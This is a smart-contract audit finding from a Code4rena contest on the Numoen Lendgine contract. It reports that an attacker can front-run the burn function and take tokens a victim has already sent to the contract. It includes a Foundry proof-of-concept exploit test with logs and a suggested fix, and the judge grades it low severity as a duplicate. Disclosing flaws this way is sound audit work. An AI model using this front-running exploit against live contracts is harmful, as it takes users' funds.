Closed code423n4 closed 1 year ago
https://github.com/code-423n4/2023-01-numoen/blob/2ad9a73d793ea23a25a381faadc86ae0c8cb5913/src/core/Lendgine.sol#L108 https://github.com/code-423n4/2023-01-numoen/blob/2ad9a73d793ea23a25a381faadc86ae0c8cb5913/src/core/Lendgine.sol#L105-L120
Due that to burn tokens first there is send tokens to the contract and then caller the function burn, a attacked can make front running and steal funds of lendgineToken, this would do that the victim no can burn their tokens
https://github.com/code-423n4/2023-01-numoen/blob/2ad9a73d793ea23a25a381faadc86ae0c8cb5913/src/core/Lendgine.sol#L108
assume that there is liquidity enough see follows scenario
1) cuh proceed to mint by a value 5e18
2) dennis cuh proceed to mint by a value 10e18
3) cuh want burn their shares and sende 5e17 to the contract and call burn
4) dennis see this and call the function burn with the same parameters that cuh but with more gas thus executing their transaction first
5) transaction cuh reverted by funds insufficient
here test
function testExploit() external { _deposit(address(this), address(this), 2 ether , 16 ether , 2 ether); _mint(cuh, cuh, 5 ether); _mint(dennis, dennis, 10 ether); emit log("mint-"); emit log_named_decimal_uint("token0.balanceOf(cuh) :",token0.balanceOf(cuh),0); emit log_named_decimal_uint("token1.balanceOf(cuh) :",token1.balanceOf(cuh),0); emit log(" "); emit log_named_decimal_uint("token0.balanceOf(dennis) :",token0.balanceOf(dennis),0); emit log_named_decimal_uint("token1.balanceOf(dennis) :",token1.balanceOf(dennis),0); emit log(" "); emit log_named_decimal_uint("lendgine.balanceOf(cuh) :",lendgine.balanceOf(cuh),0); emit log_named_decimal_uint("lendgine.balanceOf(dennis) :",lendgine.balanceOf(dennis),0); vm.prank(cuh); lendgine.transfer(address(lendgine),0.5 ether); emit log("burn-"); vm.startPrank(dennis); token0.approve(address(this), 0.5 ether); token1.approve(address(this), 4 ether); vm.stopPrank(); uint256 collateral1 = lendgine.burn( dennis, abi.encode( PairMintCallbackData({ token0: address(token0), token1: address(token1), amount0: 0.5 ether, amount1: 4 ether, payer: dennis }) ) ); emit log("burn-"); vm.startPrank(cuh); token0.approve(address(this), 0.5 ether); token1.approve(address(this), 4 ether); vm.stopPrank(); vm.expectRevert(); uint256 collateral2 = lendgine.burn( cuh, abi.encode( PairMintCallbackData({ token0: address(token0), token1: address(token1), amount0: 0.5 ether, amount1: 4 ether, payer: cuh }) ) ); emit log_named_decimal_uint("token0.balanceOf(cuh) :",token0.balanceOf(cuh),0); emit log_named_decimal_uint("token1.balanceOf(cuh) :",token1.balanceOf(cuh),0); emit log(" "); emit log_named_decimal_uint("token0.balanceOf(dennis) :",token0.balanceOf(dennis),0); emit log_named_decimal_uint("token1.balanceOf(dennis) :",token1.balanceOf(dennis),0); emit log(" "); emit log_named_decimal_uint("lendgine.balanceOf(cuh) :",lendgine.balanceOf(cuh),0); emit log_named_decimal_uint("lendgine.balanceOf(dennis) :",lendgine.balanceOf(dennis),0); vm.startPrank(dennis); token0.approve(address(this), 0.5 ether); token1.approve(address(this), 9 ether); vm.stopPrank(); uint256 size = lendgine.deposit( dennis, 0.8 ether, abi.encode( PairMintCallbackData({ token0: address(token0), token1: address(token1), amount0: 0.5 ether, amount1: 7.5 ether, payer: dennis }) ) ); emit log(" "); emit log_named_decimal_uint("token0.balanceOf(dennis) :",token0.balanceOf(dennis),0); emit log_named_decimal_uint("token1.balanceOf(dennis) :",token1.balanceOf(dennis),0); emit log(" "); emit log_named_decimal_uint("lendgine.balanceOf(dennis) :",lendgine.balanceOf(dennis),0); }
result
Running 1 test for test/BurnTest.t.sol:BurnTest [PASS] testExploit() (gas: 721514) Logs: mint- token0.balanceOf(cuh) :: 500000000000000000.0 token1.balanceOf(cuh) :: 4000000000000000000.0 token0.balanceOf(dennis) :: 1000000000000000000.0 token1.balanceOf(dennis) :: 8000000000000000000.0 lendgine.balanceOf(cuh) :: 500000000000000000.0 lendgine.balanceOf(dennis) :: 1000000000000000000.0 burn- burn- token0.balanceOf(cuh) :: 500000000000000000.0 token1.balanceOf(cuh) :: 4000000000000000000.0 token0.balanceOf(dennis) :: 500000000000000000.0 token1.balanceOf(dennis) :: 9000000000000000000.0 lendgine.balanceOf(cuh) :: 0.0 lendgine.balanceOf(dennis) :: 1000000000000000000.0 token0.balanceOf(dennis) :: 0.0 token1.balanceOf(dennis) :: 1500000000000000000.0 lendgine.balanceOf(dennis) :: 1000000000000000000.0 Test result: ok. 1 passed; 0 failed; finished in 11.18ms
foundry
add a personalisation of shares in function burn, would be a mapping
berndartmueller marked the issue as duplicate of #143
berndartmueller changed the severity to QA (Quality Assurance)
berndartmueller marked the issue as grade-c
Lines of code
https://github.com/code-423n4/2023-01-numoen/blob/2ad9a73d793ea23a25a381faadc86ae0c8cb5913/src/core/Lendgine.sol#L108 https://github.com/code-423n4/2023-01-numoen/blob/2ad9a73d793ea23a25a381faadc86ae0c8cb5913/src/core/Lendgine.sol#L105-L120
Vulnerability details
Impact
Due that to burn tokens first there is send tokens to the contract and then caller the function burn, a attacked can make front running and steal funds of lendgineToken, this would do that the victim no can burn their tokens
Proof of Concept
assume that there is liquidity enough see follows scenario
1) cuh proceed to mint by a value 5e18
2) dennis cuh proceed to mint by a value 10e18
3) cuh want burn their shares and sende 5e17 to the contract and call burn
4) dennis see this and call the function burn with the same parameters that cuh but with more gas thus executing their transaction first
5) transaction cuh reverted by funds insufficient
here test
result
Tools Used
foundry
Recommended Mitigation Steps
add a personalisation of shares in function burn, would be a mapping